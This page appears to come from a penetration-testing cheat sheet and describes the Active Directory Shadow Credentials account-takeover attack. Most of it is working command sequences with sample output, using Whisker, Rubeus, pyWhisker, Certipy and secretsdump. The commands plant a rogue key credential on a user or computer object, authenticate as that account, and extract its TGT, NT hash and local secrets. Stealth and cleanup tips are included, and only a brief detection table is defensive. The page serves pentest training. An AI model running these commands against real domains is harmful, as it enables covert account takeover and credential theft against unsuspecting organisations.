AD^:Active Directory

Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink)

Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute — originally…

advancedupdated 2026-08-10Impacket · Rubeus · Certipy · PowerShell

🟡 Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink)


📖 How It Works

Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute — originally designed for Windows Hello for Business (WHfB) — to register a rogue public key on a target user or computer object. Once the key is set, the attacker uses the corresponding private key to authenticate as the target via PKINIT (certificate-based Kerberos authentication), receiving a TGT and NT hash without ever knowing or changing the target’s password.

Why Shadow Credentials is Superior to Password Reset

AspectPassword ResetShadow Credentials
Target notices?✅ Yes — locked out immediately❌ No — original password still works
PersistenceOne-time — target resets backPersistent — survives password changes
DetectionEvent 4724 — well-knownEvent 5136 — less commonly monitored
PrerequisiteForceChangePassword / GenericAllGenericWrite / GenericAll / WriteDACL on target
OPSECLowHigh

Requirements

  • ADCS deployed (or at least PKINIT enabled in the domain)
  • Domain functional level 2016+ (for msDS-KeyCredentialLink attribute)
  • Write access to target’s msDS-KeyCredentialLink (GenericWrite, GenericAll, or explicit write)

⚙️ Prerequisites

RequirementDetail
Write access to msDS-KeyCredentialLinkGenericWrite, GenericAll on target user/computer
PKINIT / ADCS in environmentDomain must support certificate-based auth
Domain functional level 2016+Attribute doesn’t exist on older schemas

🛠️ Tools

ToolPlatformNotes
WhiskerWindowsAdd/remove/list shadow credentials
pyWhiskerLinuxPython implementation
CertipyLinuxshadow auto — automated full chain
DSInternalsWindows/PowerShellSet-DomainObject key credential manipulation
RubeusWindowsPKINIT authentication with the shadow cert

💻 Full Commands

🔴 Whisker (Windows)

# ── Add shadow credential to target user ──────────────────────────────────────
.\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local

# Output:
# [*] No existing DeviceCredentials found
# [*] Generated key pair
# [*] DeviceID: a1b2c3d4-...
# [*] Adding KeyCredential
# [*] Use Rubeus with the following command:
# Rubeus.exe asktgt /user:targetadmin /certificate:<base64_pfx> /password:<pfx_pass> /ptt

# ── Run the outputted Rubeus command ──────────────────────────────────────────
.\Rubeus.exe asktgt /user:targetadmin /certificate:<base64_from_whisker> \
  /password:<password_from_whisker> /ptt /getcredentials

# Output includes NT hash via U2U

# ── List existing shadow credentials ──────────────────────────────────────────
.\Whisker.exe list /target:targetadmin /domain:corp.local /dc:DC01.corp.local

# ── Remove shadow credential (cleanup) ────────────────────────────────────────
.\Whisker.exe remove /target:targetadmin /deviceid:a1b2c3d4-... \
  /domain:corp.local /dc:DC01.corp.local

🔴 pyWhisker (Linux)

# ── Add shadow credential ────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action add --dc-ip 10.10.10.10

# Output: PFX certificate file and password

# ── Authenticate with the certificate ─────────────────────────────────────────
certipy auth -pfx <generated_pfx_file> -dc-ip 10.10.10.10
# Returns TGT + NT hash

# ── List ──────────────────────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action list --dc-ip 10.10.10.10

# ── Remove ────────────────────────────────────────────────────────────────────
python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \
  --target targetadmin --action remove --device-id a1b2c3d4 --dc-ip 10.10.10.10

🔴 Certipy Shadow Auto (Easiest — Linux)

# ── Full automated chain — add key, auth, get hash ───────────────────────────
certipy shadow auto -u low_user@corp.local -p 'Password1' \
  -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local

# Output:
# [*] Saved PFX to 'targetadmin.pfx'
# [*] Got TGT for 'targetadmin@corp.local'
# [*] Got hash: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

🔴 Shadow Credentials on Computer Objects

# ── Works on computer objects too (compromise the machine) ────────────────────
certipy shadow auto -u low_user@corp.local -p 'Password1' \
  -account 'TARGET$' -dc-ip 10.10.10.10 -dc-host dc01.corp.local

# Use the machine's NT hash to:
# - Silver Ticket to services on that machine
# - SecretsDump for local SAM/LSA
secretsdump.py corp.local/'TARGET$'@TARGET.corp.local \
  -hashes :2b576acbe6bcfda7294d6bd18041b8fe

🎯 OPSEC Tips

  • Shadow Credentials persist across password changes — the key credential remains valid even after target changes their password
  • Always clean up — remove the DeviceID from msDS-KeyCredentialLink after extracting the hash/TGT
  • Shadow Credentials fail if WHfB is not enabled and there’s no ADCS — PKINIT must be supported
  • Computer objects work too — you can Shadow Credential a computer to get its machine account hash
  • Most OPSEC-friendly takeover — the target user notices nothing; their password still works

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
5136Security Log (DC)Modification of msDS-KeyCredentialLink attribute
4768Security Log (DC)TGT request via PKINIT (Pre-Auth Type 16) — certificate-based auth for a non-smart-card user

🔗 Attack Chain Context

[Shadow Credentials] ──→ Stealthy Account Takeover Without Password Change
         │
         ├──→ 🔑 Write msDS-KeyCredentialLink → auth as target via PKINIT
         ├──→ 🔒 Survives password changes — persistent until key is removed
         ├──→ 💻 Works on users AND computers
         ├──→ 🔗 Prereqs: GenericWrite (#20), GenericAll (#19), WriteDACL (#21)
         └──→ 💀 Defeated by: monitor 5136, audit msDS-KeyCredentialLink, disable WHfB if unused

✅ Attack #25 — Shadow Credentials complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.